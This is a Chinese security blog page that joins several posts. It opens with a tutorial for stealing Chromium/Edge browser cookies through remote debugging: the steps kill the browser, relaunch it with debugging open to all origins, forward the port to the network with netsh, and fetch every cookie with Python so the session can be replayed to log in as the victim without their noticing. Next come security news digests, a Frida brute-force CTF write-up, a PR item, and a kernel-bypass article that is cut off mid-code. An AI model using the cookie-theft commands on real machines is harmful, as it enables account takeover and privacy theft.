利用远程调试获取Chromium内核浏览器Cookie
前言 本文将介绍不依靠DPAPI的方式获取Chromium内核浏览器Cookie 远程调试 首先我们以edge为例。edge浏览器是基于Chromium的,而Chromium是可以开启远程调试的,开启远程调试的官方文档如下: https://blog.chromium.org/2011/05/remote-debugging-with-chrome-developer.htmlchrome.exe --remote-debugging-port=9222 --user-data-dir=remote-profile 那么开启远程调试以后可以做什么呢,继续看官方文档: https://chromedevtools.github.io/devtools-protocol/tot/Storage/上述官方文档是Chrome开发者工具协议文档,里面提到如果需要实施调试、分析Chrome需要开启其远程调试: 并且告知开启后还提供了json等接口和各种API的使用: 既然edge是基于Chromium的,那么edge应该也是可以开启远程调试的。尝试使用Chrome开启远程调试的命令开启edge的远程调试: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9222 经测试是可以的,但是前提是必须没有msedge进程在启动着,否则上述命令虽然会启动edge进程,但是并不会开启远程调试端口。停止命令: Get-Process msedge | Stop-Process 获取Cookie 首先看Chrome开发者工具协议能否获取浏览器密码啥的,文档没有: 也是,大家平常F12调出开发者工具,也是没有获取浏览器密码方式的。 继续搜下Cookie,可以看到有个Network.getAllCookies,但是文档中提到已经弃用了,改用了Storage.getCookies: 那尝试使用Storage.getCookies是否可以获取Cookie呢。开启远程调试后,获取websocket地址: 然后尝试使用python的websocket-client模块发送接收数据时,发现提示403: 根据提示看起来是CORS的问题,且给出了解决方案: --remote-allow-origins=* 添加以后发送如下数据包就可以成功获取Cookie: {"id": 1, "method": "Storage.getCookies"} 为了方便远程访问其websocket接口,可以把远程调试端口映射出来: netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=48333 connectaddress=127.0.0.1 connectport=9222 这样就可以远程访问目标的远程调试端口: 编写代码 Github有个自动开启远程调试端口和获取Cookie的仓库: https://github.com/defaultnamehere/cookie_crimes/blob/master/cookie_crimes.py其中代码有几个问题,其一没解决CORS的问题,其二使用了可能弃用的Network.getAllCookies,其三开启远程调试端口可以不用依赖python,可以使用cmd命令,最终修改的代码如下: import json import requests import websocket GET_ALL_COOKIES_REQUEST = json.dumps({"id": 1, "method": "Storage.getCookies"}) def hit_that_secret_json_path_like_its_1997():   response = requests.get("http://10.211.55.8:48333/json")   websocket_url = response.json()[0].get("webSocketDebuggerUrl")   return websocket_url def gimme_those_cookies(ws_url):   ws = websocket.create_connection(ws_url)   ws.send(GET_ALL_COOKIES_REQUEST)   result = ws.recv()   ws.close()   response = json.loads(result)   cookies = response["result"]["cookies"]   return cookies ws_url = hit_that_secret_json_path_like_its_1997() print(ws_url) cookies = gimme_those_cookies(ws_url) print(cookies) 这样就可以达到在目标机器上开启远程调试端口并获取Cookie。为了防止开启的浏览器被用户发现,可以使用无头参数-headless,但是存在一个缺点,后面再讲。且为了防止/json接口返回空的情况,建议让浏览器启动时打开一个网站,因此最终完整命令如下: # 关闭edge Get-Process msedge | Stop-Process # 启动远程调试 "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.baidu.com --remote-debugging-port=9222 --remote-allow-origins=* -headless # 把远程调试端口映射出来 netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=48333 connectaddress=127.0.0.1 connectport=9222 # 访问json接口获取websocket地址并获取Cookie # 关闭端口映射 netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=48333 实操 使用上述命令启动edge: 获取Cookie,发现只能获取到www.baidu.com的Cookie: 这就是上面提到的,使用无头参数-headless存在的一个缺点,只能获取到打开的网站的Cookie。因此如果想要获取指定目标网站的Cookie,要么重复上面的动作,要么取消无头参数-headless。笔者建议取消-headless参数,打开的浏览器用户也能正常使用,因此建议使用的命令如下: # 关闭edge Get-Process msedge | Stop-Process # 启动远程调试 "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.baidu.com --remote-debugging-port=9222 --remote-allow-origins=* # 把远程调试端口映射出来 netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=48333 connectaddress=127.0.0.1 connectport=9222 # 访问json接口获取websocket地址并获取Cookie # 关闭端口映射 netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=48333 获取到上述数据以后,如何使用呢,笔者提供如下代码,来完成满足Cookie格式要求的拼接: def to_cookie_dict(data):   if 'www.chinabaiker.com' in data['domain']:       cookie_dict = {data['name']: data['value'], 'Domain': data['domain'], 'Path': data['path'], 'Expires': data['expires']}       print(cookie_dict)       return cookie_dict data_list = [{}] cookie_dict_list = [to_cookie_dict(data) for data in data_list] # 遍历多个cookie字典,将每个字典中的key和value格式化为key=value的字符串 cookie_str_list = [] for cookie_dict in cookie_dict_list:   try:       for k, v in cookie_dict.items():           cookie_str_list.append('{}={}'.format(k, v))   except Exception as e:       print(e)       pass # 使用;将多个key=value字符串连接在一起 cookie_str = ';'.join(cookie_str_list) print(cookie_str) 因为获取到的Cookie比较多,在代码最开始做了个简单的过滤: if 'www.chinabaiker.com' in data['domain']: 最终实现的效果如下:首先网站是非登录状态: 执行上述代码,获取Cookie: 然后放到burpsuite自动替换,笔者的替换规则如下: 最终成功完成Cookie的替换登录目标系统: Chrome浏览器同理,就不花篇幅讲了: "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" https://www.baidu.com --remote-debugging-port=9222 --remote-allow-origins=* 总结 本文介绍了不依靠DPAPI的方式获取Chromium内核浏览器Cookie,可以尽可能的减少被拦截的情况下去获取浏览器Cookie。
网络安全日报 2023年07月13日
1、攻击者使用Legion窃密木马针对PUBG玩家进行攻击 https://blog.cyble.com/2023/07/11/legion-stealer-targeting-pubg-players 研究人员最近发现了一个Github页面,该页面伪装成PUBG作弊工具的项目,并借此传播恶意软件。攻击者对其中的“Karogour_Bypanls.Scr”文件的后7个字符进行反转,将其文件名变成“Karogour_BypasrcS.sln”以此诱导用户执行。该程序是一个基于GUI的32位可执行程序,使用.NET语言进行编写,运行后将“Local_ycsNYnaBZ.sln”文件及“LocalchfRgyVJSk.exe”程序放置%appdata%目录 2、微软针对132个漏洞发布安全更新,包括已被利用的零日漏洞 https://thehackernews.com/2023/07/microsoft-releases-patches-for-130.html 微软发布安全更新,以解决132个安全漏洞,其中包括6个零日漏洞,且这些零日漏洞已被利用。CVE-2023-32046,CVSS评分为7.8,是Windows MSHTML平台提权漏洞;CVE-2023-32049,CVSS评分为8.8,是Windows SmartScreen安全功能绕过漏洞;CVE-2023-35311,CVSS评分为8.8,是Microsoft Outlook安全功能绕过漏洞;CVE-2023-36874,CVSS评分为7.8 3、Citrix 修复了影响 Ubuntu 安全访问客户端的一个严重漏洞 https://securityaffairs.com/148405/security/citrix-critical-flaw-secure-access-client-for-ubuntu.html Citrix 修复了影响 Ubuntu 安全访问客户端的严重缺陷,该缺陷可被利用来实现远程代码执行。 4、Fortinet 修复了 FortiOS 和 FortiProxy 中的一个严重漏洞 https://securityaffairs.com/148395/hacking/fortinet-fortios-fortiproxy-critical-bug-2.html Fortinet 披露了一个严重漏洞,编号为 CVE-2023-33308(CVSS 评分 9.8),影响 FortiOS 和 FortiProxy。远程攻击者可以利用该漏洞在易受攻击的设备上执行任意代码。 5、硬编码帐户允许完全接管 Technicolor 路由器 https://www.securityweek.com/hardcoded-accounts-allow-full-takeover-of-technicolor-routers/ Technicolor TG670 DSL 网关路由器上的多个硬编码帐户可用于完全接管受影响的设备。 6、报告警告说,针对政府服务的 DDoS 攻击猛增 168% https://www.hackread.com/ddos-attacks-stormwall-q2-2023-report/ 根据 StormWall 的 2023 年第二季度报告,美国、印度和中国仍然是被攻击最严重的目标国家。 7、加密货币平台 Multichain 遭到攻击 损失超 1.25 亿美元 http://www.anquan419.com/knews/24/5500.html 近日,加密货币平台 Multichain 因其正在调查涉及超过 1.25 亿美元的加密货币被盗事件,已暂停其服务。 8、因一低级漏洞,孟加拉国政府网站泄露约5000万公民身份数据 https://www.secrss.com/articles/56572 泄露数据包括全名、电话号码、电子邮箱地址和国民身份证号码。 9、奇安信发布《全球高级持续性威胁(APT)2023年中报告》 https://www.secrss.com/articles/56571 奇安信威胁情报中心发布《全球高级持续性威胁(APT)2023年中报告》,该报告通过分析奇安信威胁雷达对 2023 上半年境内的 APT 攻击活动的全方位遥感测绘数据,展示了我国境内 APT 攻击活动及高级持续性威胁发展趋势,并结合开源情报分析了全球范围内高级持续性威胁发展变化及特点,发现政府部门、国防军事领域仍是 APT 组织的首要攻击目标。与去年同期相比,教育、科研领域相关的攻击事件所占比例有所增高。 10、Orca 起诉 Wiz 涉嫌侵犯云安全专利 https://www.securityweek.com/orca-sues-wiz-over-alleged-cloud-security-patent-violations/ Orca Security 起诉其主要竞争对手,指控其专利侵权、知识产权盗窃,甚至营销模仿行为。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年07月12日
1、迷人的小猫黑客使用新的“NokNok”恶意软件针对macOS https://www.bleepingcomputer.com/news/security/charming-kitten-hackers-use-new-noknok-malware-for-macos/ 安全研究人员观察到他们归因于迷人小猫APT组的新活动,黑客使用针对macOS系统的新NokNok恶意软件。 2、美国政府警告:ChatGPT存在重大安全风险 https://www.thenews.com.pk/latest/1088379-warning-for-those-using-chatgpt 近日,美国联邦政府发布了一份报告,称用户需密切注意ChatGPT存在的网络安全风险,尤其是在网络钓鱼和恶意软件开发领域。 3、雷蛇遭网络攻击:游戏硬件巨头面临潜在的数据泄露 https://thecyberexpress.com/razer-cyber-attack-potential-data-breach/ 据报道,这些数据包括源代码、数据库、加密密钥和链接到 Razer.com 及其产品的后端访问登录。 4、马丁公司遭网络攻击:土耳其黑客团队瞄准美国国防巨头 https://thecyberexpress.com/lockheed-martin-cyber-attack-turk-hack-team/ 据黑客称,洛克希德马丁公司的官方网站在网络攻击后经历了重大中断 5、WordPress 插件 0day 威胁 20 万网站 https://www.solidot.org/story?sid=75444 漏洞存在于用于精简用户注册和登陆流程的 Ultimate Member 插件中,它被逾 20 万 WordPress 网站使用。 6、匿名苏丹在Tumblr之后瞄准社交媒体平台 https://thecyberexpress.com/flickr-cyber-attack-exposes-112m-users-risks/ 黑客组织Anonymous Sudan将目光投向了流行的图像共享平台Flickr。他们进行了长达一小时的攻击,并使Flickr网站无法访问。 7、VMware 警告客户 vRealize RCE 高危漏洞CVE-2023-20864已公开 https://securityaffairs.com/148346/hacking/vmware-vmware-rce-exploit.html VMware 警告客户,影响 vRealize 的 RCE 漏洞 CVE-2023-20864 的利用代码已公开可用。 8、微软警告 Office 零日攻击,但暂无可用补丁 https://www.securityweek.com/microsoft-warns-of-office-zero-day-attacks-no-patch-available/ 全球最大软件制造商微软发出紧急警告称,网络犯罪分子正在积极利用 Microsoft Windows 和 Office 产品中尚未修补的安全漏洞。 9、泛微E-Cology SQL注入漏洞安全风险通告 https://www.secrss.com/articles/56489 近日,奇安信CERT监测到厂商发布安全补丁更新,修复泛微E-Cology SQL注入漏洞(QVD-2023-15672)在内的多个漏洞。远程未授权攻击者可利用此漏洞获取敏感信息,进一步利用可能获取目标系统权限等。 10、HCA Healthcare 数据泄露影响了 1100 万患者 https://securityaffairs.com/148371/data-breach/hca-healthcare-data-breach.html HCA Healthcare 披露了一起数据泄露事件,该事件泄露了约 1100 万患者的个人信息。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
Frida主动调用java函数来爆破解题思路
利用Frida去调用java代码中的类,然后爆破。算是一种主动调用的方法。主动调用可以用于爆破,模拟程序部分执行,需要注意的知识点是在java代码中的static类型数据在爆破过程中需要每次都对这种类型值重新设置。因为static类型在所有实例中都是统一,修改一个实例就会修改所有实例,需要用变量.属性.value = ...的写法重新设置值。 var bvar = b.$new(IntClass.$new(2)); for (...) {    bvar._static_val.value = ...; } 背景知识 java类中静态值在爆破中需要修改 在java类中,一个属性如果是static的,不是说这个值不能改,而是说这个属性在程序中是唯一的,无论几个实例,只要改了其中一个实例中static的值,其他实例对应的值也会被改变。 在爆破过程中,如果需要爆破过程中不停new一个新的类实例,记得看看其中有没有static类型的变量。比如下面的这个例子 public class b {    public static ArrayList<Integer> a = new ArrayList<>();    static String b = "abcdefghijklmnopqrstuvwxyz";    static Integer d = 0;    Integer[] c = {8, 25, 17, 23, 7, 22, 1, 16, 6, 9, 21, 0, 15, 5, 10, 18, 2, 24, 4, 11, 3, 14, 19, 12, 20, 13};    public b(Integer num) {        for (int intValue = num.intValue(); intValue < this.c.length; intValue++) {            a.add(this.c[intValue]);       }        for (int i = 0; i < num.intValue(); i++) {            a.add(this.c[i]);       }   } ... 每次new一个b类,比如b bVar = new b(2).如果要不停调用这个类,并且使用其中的方法,要注意其中的static变量会不会变。如果会变,那么在爆破过程中,需要new完实例后,修改static变量的值。 frida调用java中静态方法与动态方法 如果调用静态方法,可以直接调用,比如java代码如下 public class Verifier {    private Verifier() {   }    public static boolean verifyPassword(Context context, String input) {   ...   } 那么如果调用verifyPassword可以直接在frida中调用 var verify = Java.use("org.teamsik.ahe17.qualification.Verifier"); verify.verifyPassword(a, b); 如果是动态方法,有两种方法可以调用动态方法 第一种是,使用内存中已存在实例的方法,需要用到java.choose(...),这个是在内存中寻找对象 //从内存中(堆)直接搜索已存在的对象 Java.choose('xxx.xxx.xxx', //这里写类名 { //onMatch 匹配到对象执行的回调函数 onMatch: function (instance) {   },    //堆中搜索完成后执行的回调函数    onComplete: function () {   } }); 第二种是,我们new一个新的实例,然后调用实例中的方法 //获取类的引用 var cls = Java.use('这里写类名'); //调用构造函数 创建新对象 这里注意参数 var obj = cls.$new(); Easy-QAHE17 首先是看吾爱破解的一道题目,核心代码如下。 public void verifyPasswordClick(View view) {        String password = this.txPassword.getText().toString();        if (!Verifier.verifyPassword(this, password)) {            Toast.makeText(this, (int) org.teamsik.ahe17.qualification.easy.R.string.dialog_failure, 1).show();       } else {            showSuccessDialog();       }   } public class Verifier {    private Verifier() {   }    public static boolean verifyPassword(Context context, String input) {        if (input.length() != 4) {            return false;       }        byte[] v = encodePassword(input);        byte[] p = "09042ec2c2c08c4cbece042681caf1d13984f24a".getBytes();        if (v.length == p.length) {            for (int i = 0; i < v.length; i++) {                if (v[i] != p[i]) {                    return false;               }           }            return true;       }        return false;   } ... ... ... 输入长度为4,通过分析后面知道输入是数字。所以范围是1000-9999.所以是可以爆破的,但是爆破是要用到encodePassword方法,自己写一个当然也可以,但是很麻烦。这里就可以直接frida调用encodePassword函数. 注意这里encodePassword是静态方法,所以可以直接调用 function main() {    Java.perform(function x() {        console.log("In Java perform")        var verify = Java.use("org.teamsik.ahe17.qualification.Verifier")        var stringClass = Java.use("java.lang.String")        var p = stringClass.$new("09042ec2c2c08c4cbece042681caf1d13984f24a")                for (var i = 999; i < 10000; i++){            var v = stringClass.$new(String(i))            var vSign = verify.encodePassword(v)            if (parseInt(p) == parseInt(stringClass.$new(vSign))) {                console.log("yes: " + v)                break           }            console.log("not :" + v)       }   }) } setImmediate(main) 结果 not :9078 not :9079 not :9080 not :9081 not :9082 yes: 9083 需要注意的是,要调用parseInt解析内存中的内存再对比,因为string类型是java的string类型,对js代码来说是一段内存。 EasyJava 这题是纯java题,逻辑很清晰,对输入的每一个字符单个检查,加密并对比。所以可以很简单的想到爆破的思路 public static Boolean b(String str) {    if (str.startsWith("flag{") && str.endsWith("}")) {        String substring = str.substring(5, str.length() - 1);        b bVar = new b(2);        a aVar = new a(3);        StringBuilder sb = new StringBuilder();        int i = 0;        for (int i2 = 0; i2 < substring.length(); i2++) {            sb.append(a(substring.charAt(i2) + "", bVar, aVar));            Integer valueOf = Integer.valueOf(bVar.b().intValue() / 25);            if (valueOf.intValue() > i && valueOf.intValue() >= 1) {                i++;           }       }        return Boolean.valueOf(sb.toString().equals("wigwrkaugala"));   }    return false; } 所以可以单个字符爆破,但是要注意到,com.a.easyjava.b和com.a.easyjava.a两个类中都存在static属性的变量,下面是b类的 public class b {    public static ArrayList<Integer> a = new ArrayList<>();    static String b = "abcdefghijklmnopqrstuvwxyz";    static Integer d = 0;    Integer[] c = {8, 25, 17, 23, 7, 22, 1, 16, 6, 9, 21, 0, 15, 5, 10, 18, 2, 24, 4, 11, 3, 14, 19, 12, 20, 13};    public b(Integer num) {        for (int intValue = num.intValue(); intValue < this.c.length; intValue++) {            a.add(this.c[intValue]);       }        for (int i = 0; i < num.intValue(); i++) {            a.add(this.c[i]);       }   }    public static void a() {        int intValue = a.get(0).intValue();        a.remove(0);        a.add(Integer.valueOf(intValue));        b += "" + b.charAt(0);        b = b.substring(1, 27);        Integer num = d;        d = Integer.valueOf(d.intValue() + 1);   }    public Integer a(String str) {        int i = 0;        if (b.contains(str.toLowerCase())) {            Integer valueOf = Integer.valueOf(b.indexOf(str));            for (int i2 = 0; i2 < a.size() - 1; i2++) {                if (a.get(i2) == valueOf) {                    i = Integer.valueOf(i2);               }           }       } else {            i = str.contains(" ") ? -10 : -1;       }        a();        return i;   }    public Integer b() {        return d;   } } b类中的a,b,d变量都是static类型的同时,这三个变量都会被下面的方法所改变。所以如果要爆破,需要重新修改实例中的属性值。如果不重新修改属性的值,我们通过观察b类中的b变量可以看到会有什么问题。 这个脚本是爆破第一个字符在加密后所有的可能性。爆破范围通过分析b类可以缩小到a-z,然后模仿加密过程,加密一个字符看看结果。中间每循环一次会重新申请一个b和a类的实例,想通过申请新的实例来避免类中变量的修改. function main() {    Java.perform(function x() {        console.log('[+] script load');                var b = Java.use("com.a.easyjava.b");        var a = Java.use("com.a.easyjava.a");        var StringClass = Java.use("java.lang.String");        var IntClass = Java.use("java.lang.Integer");        var MainActivity = Java.use("com.a.easyjava.MainActivity");        try { // try catch 用来查看报错的,可以去掉            for (var i = 97; i < 123; i++) {                var bvar = b.$new(IntClass.$new(2));                var avar = a.$new(IntClass.$new(3));                var s = String.fromCharCode(i);                var c = MainActivity.a(s, bvar, avar);                console.log(`enc(${s}) => ${c}, b.a => ${b._b.value}`);           }       } catch (e) {            console.log(e);       }        console.log('[+] script end');   }) } setImmediate(main) 结果如下 # python3 loader.py [+] script load enc(a) => a, b.b => bcdefghijklmnopqrstuvwxyza enc(b) => a, b.b => cdefghijklmnopqrstuvwxyzab enc(c) => a, b.b => defghijklmnopqrstuvwxyzabc enc(d) => a, b.b => efghijklmnopqrstuvwxyzabcd enc(e) => a, b.b => fghijklmnopqrstuvwxyzabcde enc(f) => a, b.b => ghijklmnopqrstuvwxyzabcdef enc(g) => a, b.b => hijklmnopqrstuvwxyzabcdefg enc(h) => a, b.b => ijklmnopqrstuvwxyzabcdefgh enc(i) => a, b.b => jklmnopqrstuvwxyzabcdefghi enc(j) => a, b.b => klmnopqrstuvwxyzabcdefghij enc(k) => a, b.b => lmnopqrstuvwxyzabcdefghijk enc(l) => a, b.b => mnopqrstuvwxyzabcdefghijkl enc(m) => a, b.b => nopqrstuvwxyzabcdefghijklm enc(n) => a, b.b => opqrstuvwxyzabcdefghijklmn enc(o) => a, b.b => pqrstuvwxyzabcdefghijklmno enc(p) => a, b.b => qrstuvwxyzabcdefghijklmnop enc(q) => a, b.b => rstuvwxyzabcdefghijklmnopq enc(r) => a, b.b => stuvwxyzabcdefghijklmnopqr enc(s) => a, b.b => tuvwxyzabcdefghijklmnopqrs enc(t) => a, b.b => uvwxyzabcdefghijklmnopqrst enc(u) => a, b.b => vwxyzabcdefghijklmnopqrstu enc(v) => a, b.b => wxyzabcdefghijklmnopqrstuv enc(w) => a, b.b => xyzabcdefghijklmnopqrstuvw enc(x) => a, b.b => yzabcdefghijklmnopqrstuvwx enc(y) => a, b.b => zabcdefghijklmnopqrstuvwxy enc(z) => a, b.b => abcdefghijklmnopqrstuvwxyz [+] script end 可以看到实际上,虽然每次new了一个新的实例,但是实例中的static变量是变了的,这导致了之前的爆破会影响到下一次爆破,同时也可以看到加密结果全部都是a。所以如果要爆破,就得想办法让每次爆破,新的实例中的值不变。 需要使用bvar._b.value = StringClass.$new("abcdefghijklmnopqrstuvwxyz");这样的语法对static类型的变量重新设值。 需要注意的是有些变量在jadx/jeb中看到的名字可能会被重载,需要加一个下划线比如b -> _b。可以通过console打印看看是不是unknow,也可以直接用jadx右键复制frida片段,查看此变量frida需不需要加一个下划线 解题脚本的思路就很简单,单个字符来爆破,每次重新生成类的实例,并将类中的值置为初始状态(通过调用类$init方法)。 exp function main() {    Java.perform(function x() {        console.log('[+] script load');        var b = Java.use("com.a.easyjava.b");        var a = Java.use("com.a.easyjava.a");        var IntClass = Java.use("java.lang.Integer");        var StringClass = Java.use("java.lang.String");        var ArrayList = Java.use("java.util.ArrayList");        var MainActivity = Java.use("com.a.easyjava.MainActivity");        var flag = new Array();        var cipher = "wigwrkaugala";        var bvar = b.$new(IntClass.$new(2));        var avar = a.$new(IntClass.$new(3));        for (var _ = 0; _ < cipher.length; _++) {            for (var i = 97; i < 123; i++) { // 97 - 123是字母a-z                // reset static value                bvar._b.value = StringClass.$new("abcdefghijklmnopqrstuvwxyz");                bvar.d.value = IntClass.$new(0);                bvar._a.value = ArrayList.$new();                bvar["$init"](IntClass.$new(2));                avar.b.value = StringClass.$new("abcdefghijklmnopqrstuvwxyz");                avar.d.value = IntClass.$new(0);                avar._a.value = ArrayList.$new();                avar["$init"](IntClass.$new(3));                var s = String.fromCharCode(i);                flag.push(s);                for (var e = 0; e < flag.length; e++) {                    var c = MainActivity.a(flag[e].toString(), bvar, avar);                    if (c != cipher[e]) {                        break;                   }               }                if (c == cipher[flag.length - 1]) {                    console.log(flag);                    break               }                flag.length -= 1;           }       }        console.log('flag{' + flag.join('') + '}');        console.log('[+] script end');   }) } setImmediate(main); 结果 root@kali ~/frida-script-dev# python3 loader.py [+] script load v v,e v,e,n v,e,n,i v,e,n,i,v v,e,n,i,v,i v,e,n,i,v,i,a v,e,n,i,v,i,a,i v,e,n,i,v,i,a,i,v v,e,n,i,v,i,a,i,v,i v,e,n,i,v,i,a,i,v,i,c v,e,n,i,v,i,a,i,v,i,c,i flag{veniviaivici} [+] script end
网络安全日报 2023年07月11日
1、Kimsuky组织使用Chrome远程桌面进行攻击活动 https://asec.ahnlab.com/en/55145 研究人员发现Kimsuky组织在最近的攻击活动中使用Chrome远程桌面。该组织利用以WSF、JS脚本作为附件的钓鱼邮件发起攻击,这些脚本伪装成文档文件诱导用户执行,以此传播AppleSeed后门程序,并打开一个正常的文档进行掩饰。AppleSeed于2019年左右被发现,是一种Kimsuky组织常使用的后门程序。该后门程序执行后在受害主机中下载执行其他恶意软件,包括用于窃取3个执行浏览器账户凭据的窃密木马、用于执行额外远程桌面会话的RDP Patcher程序、Ngrok内网穿透程序,以及Chrome远程桌面。Kimsuky组 2、黑客出售3500万印度尼西亚护照持有者的个人信息 https://www.govinfosecurity.com/35m-indonesians-passport-data-for-sale-on-dark-web-for-10k-a-22492 印度尼西亚的安全研究人员表示,黑客正在暗网中出售印度尼西亚护照持有者的个人信息,包括姓名、出生日期、性别、护照号码和护照有效期。黑客发布了含有100万分数据记录的样本,以证明其真实性。该黑客在帖子中表示1万美元的价格出售所有数据。印度尼西亚通信和信息部表示,正在调查此次数据泄露事件,将进行深入调查并尽快公布调查结果。 3、Kings of Translation泄露其文件数据信息 https://www.hackread.com/global-translation-service-exposed-records/ Kings of Translation是一家总部位于纽约公司,提供包括120多种语言的翻译服务。研究人员发现了一个属于该公司的数据库,该数据库不受密码保护,其中包含超过25000条数据记录。暴露的数据中含有个人身份信息、源代码内部截图以及客户的文档。由于该公司的客户大多是教育机构或其他国家的政府机构,泄露的文档中存在许多法律文件,如法庭文件、合同、证书以及与签证或移民相关的文件。研究人员无法确定该数据库已经暴露多长时间,并已向该公司反应问题。目前,Kin 4、Apple 发布针对被利用的WebKit 零日漏洞紧急 iOS 补丁 https://www.securityweek.com/apple-ships-urgent-ios-patch-for-webkit-zero-day/ Apple 推出紧急 iOS 和 iPadOS 软件更新,并警告称已检测到零日漏洞利用。 5、研究人员发布了 Ubiquiti EdgeRouter 漏洞的 PoC https://securityaffairs.com/148334/hacking/ubiquiti-edgerouter-flaw.html Ubiquiti EdgeRouter 中的 CVE-2023-31998 漏洞的概念验证 (PoC) 已公开发布。CVE-2023-31998 缺陷 (CVSS v3 5.9) 是一个影响 Ubiquiti EdgeRouters 和 Aircubes 的堆溢出问题,攻击者可以利用它潜在地执行任意代码并中断对易受攻击设备的 UPnP 服务。 6、Revolut US 支付存在缺陷,导致 2000 万美元被盗 https://securityaffairs.com/148315/breaking-news/revolut-payment-systems-flaw.html Revolut 支付系统中的零日漏洞使威胁行为者在 2022 年初窃取了超过 2000 万美元。 7、Firefox新功能"隔离域"可阻止危险扩展程序在特定网站上的运行,以保护用户安全 https://thehackernews.com/2023/07/new-mozilla-feature-blocks-risky-add.html Mozilla 宣布,作为一项名为“隔离域”的新功能的一部分,某些附加组件可能会被阻止在某些网站上运行。 8、Vishing 走向高科技:新的“Letscall”恶意软件采用语音流量路由 https://thehackernews.com/2023/07/vishing-goes-high-tech-new-letscall.html 研究人员对一种名为“ Letscall ”的新兴高级语音网络钓鱼( vishing ) 形式发出警告。该技术目前针对的是韩国的个人。“Letscall”背后的犯罪分子采用多步攻击来欺骗受害者从假冒的 Google Play 商店网站下载恶意应用程序。一旦安装了恶意软件,它就会将来电重定向到犯罪分子控制下的呼叫中心。经过训练的操作员冒充银行员工,然后从毫无戒心的受害者那里提取敏感信息。 9、BlackByte 2.0 勒索软件:仅需 5 天即可渗透、加密和扩展 https://thehackernews.com/2023/07/blackbyte-20-ransomware-infiltrate.html 最近,微软的事件响应团队调查了 BlackByte 2.0 勒索软件攻击,并揭露了这些网络攻击的可怕速度和破坏性。 10、中央网信办发文 13 条要求加强“自媒体”管理 https://www.freebuf.com/articles/371580.html 目前,“自媒体”乱想横生,个别博主为了吸引流量,恶意编造虚假事件、嫁接热点事件,对社会经济形式和政策妄加宣传。甚至个别自媒体博主再明知或应知为谣言、虚假消息、有害信息,仍肆意传播,严重影响社会稳定发展。为加强“自媒体”管理,压实网站平台信息内容管理主体责任,健全常态化管理制度机制,推动形成良好网络舆论生态。7 月 10 日,中国网信办发布了《关于加强“自媒体”管理的通知》 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
行业认可 | 蚁景科技入选《嘶吼2023网络安全产业图谱》
2023年7月10日,嘶吼安全产业研究院联合国家网络安全产业园区(通州园)正式发布《嘶吼2023网络安全产业图谱》。《嘶吼2023网络安全产业图谱》调研成功收录417家网络安全企业,分为七大类别,共涉及121个细分领域。 蚁景科技作为可靠的网络安全人才培养服务提供商,成功入选该图谱“攻防对抗与演练”类别下的“演练保障”细分领域和“安全培训”类别下的“技术人才培训 ”细分领域。 01.攻防对抗与演练 02.安全培训 本次入选《嘶吼2023网络安全产业图谱》,是网安行业权威研究机构对蚁景科技企业实力和品牌影响力的高度认可。 未来,蚁景科技将继续坚持优化人才培养、技术创新和产业发展的良性生态。这意味着公司将致力于培养更多的网络安全专业人才,推动技术的创新和应用,并为网络安全能力的全面提升贡献力量。 湖南蚁景科技有限公司作为国内领先的“网络安全人才培养服务提供商”,为配合国家网络安全人才培养战略,以市场需求为导向,以能力提升为目标,从高校科研、教学实训及企事业单位实际需求出发,基于对“互联网+教育”的深刻理解,通过自主研发的“网络安全人才实训靶场”,为高校、政企单位、科研院所等行业客户提供满足在线实验教学的虚拟实验环境与各种课件资源,同时为广大网安爱好者提供技能培训、人才推荐等服务。实现网安人才技能学习积累、综合技能运用以及考核评估三大目标。
Kernel-Pwn-FGKASLR保护绕过
FGKASLR FGASLR(Function Granular KASLR)是KASLR的加强版,增加了更细粒度的地址随机化。因此在开启了FGASLR的内核中,即使泄露了内核的程序基地址也不能调用任意的内核函数。 layout_randomized_image 在https://github.com/kaccardi/linux/blob/fg-kaslr/arch/x86/boot/compressed/fgkaslr.c文件中存在着随机化的明细。 /* linux/arch/x86/boot/compressed/fgkaslr.c */ void layout_randomized_image(void *output, Elf64_Ehdr *ehdr, Elf64_Phdr *phdrs) {   ... shnum = ehdr->e_shnum; //获取节区的数量 shstrndx = ehdr->e_shstrndx; //获取字符串的索引   ... /* we are going to need to allocate space for the section headers */ sechdrs = malloc(sizeof(*sechdrs) * shnum); //开辟一段空间用于防止节区头部 if (!sechdrs) error("Failed to allocate space for shdrs"); sections = malloc(sizeof(*sections) * shnum); //开辟一段空间用户防止节区的内容 if (!sections) error("Failed to allocate space for section pointers"); memcpy(sechdrs, output + ehdr->e_shoff,       sizeof(*sechdrs) * shnum); //拷贝头部数据 /* we need to allocate space for the section string table */ s = &sechdrs[shstrndx]; //获取节区名 secstrings = malloc(s->sh_size); //开辟一段空间用于防止节区名称 if (!secstrings) error("Failed to allocate space for shstr"); memcpy(secstrings, output + s->sh_offset, s->sh_size); //拷贝节区名称 /* * now we need to walk through the section headers and collect the * sizes of the .text sections to be randomized. */ for (i = 0; i < shnum; i++) { //遍历节区,选择需要重定位的节区 s = &sechdrs[i]; sname = secstrings + s->sh_name; if (s->sh_type == SHT_SYMTAB) { //遇到符号节区跳过 /* only one symtab per image */ if (symtab) error("Unexpected duplicate symtab"); symtab = malloc(s->sh_size); if (!symtab) error("Failed to allocate space for symtab"); memcpy(symtab, output + 